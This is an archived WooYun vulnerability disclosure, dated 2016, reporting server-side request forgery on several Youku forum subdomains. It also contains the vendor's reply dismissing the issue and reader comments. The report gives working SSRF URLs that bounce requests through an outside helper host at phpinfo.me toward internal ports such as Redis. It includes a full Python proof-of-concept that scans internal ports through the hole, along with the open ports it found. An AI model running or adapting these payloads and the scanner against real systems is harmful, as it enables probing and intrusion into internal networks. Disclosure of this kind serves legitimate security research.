优酷多个分站存在SSRF漏洞大礼包

编号227883
Urlhttp://www.wooyun.org/bug.php?action=view&id=227883
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题优酷多个分站存在SSRF漏洞大礼包
漏洞类型命令执行
厂商优酷
白帽子Sunshie
提交日期2016-07-11 09:54:00
公开日期2016-07-11 18:06:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
RT
漏洞细节

具体危害请看前面的例子

http://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]


http://club.youku.com//forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=6379%26data=helo.jpg[/img]


http://bbs.youkutv.com//forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=80%26data=helo.jpg[/img]


http://bbs.share.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=6379%26data=helo.jpg[/img]


http://bbs.wan.youku.com//forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=80%26data=helo.jpg[/img]

POC

随便找个站扫下端口:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date: 2016-07-05 20:55:30
# @Last Modified by: Lcy
# @Last Modified time: 2016-07-11 09:28:01
import requests
import threading
import Queue
import time
threads_count = 1
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
que.put(str(i))
def run():
while que.qsize() > 0:
p = que.get()
try:
url = "http://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format(
port=p)
time.sleep(0.3)
r = requests.get(url,timeout=1.8)
except:
lock.acquire()
print "{port} Open".format(port=p)
lock.release()
for i in range(threads_count):
t = threading.Thread(target=run)
threads.append(t)
t.setDaemon(True)
t.start()
while que.qsize() > 0:
time.sleep(1.0)


80  Open
9000 Open
11211 Open
22022 Open

修复方案

禁止对内网资源访问,取外网资源的API部署在不属于自己的机房

状态信息 2016-07-11: 细节已通知厂商并且等待厂商处理中
2016-07-11: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复首先感谢 Sunshie 对优酷安全的关注!经过与业务、运维沟通,确认漏洞中所涉及系统所在机房均与内网隔离,漏洞影响非常有限,暂不考虑修复。如果您有任何疑问,可随时与我们联系。再次感谢Sunshie!
回应信息危害等级:无影响厂商忽略忽略时间:2016-07-11 18:06
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

@齐迹 我去了 只不过技术不是太好 想更多交流啊

Best-shine02016-07-11 11:44:00

@Best-shine 一看就是错过峰会的小伙伴

齐迹02016-07-11 11:32:00

SSRF 求技术分享啊

Best-shine02016-07-11 11:24:00

这个实践有点快哦

齐迹02016-07-11 11:05:00

看你刷ssrf这么开心,来分享下心得把

Yuku02016-07-11 10:18:00

看你刷ssrf这么开心,来一波工具分享吧~~~O(∩_∩)O哈哈~

linger11892702016-07-11 10:02:00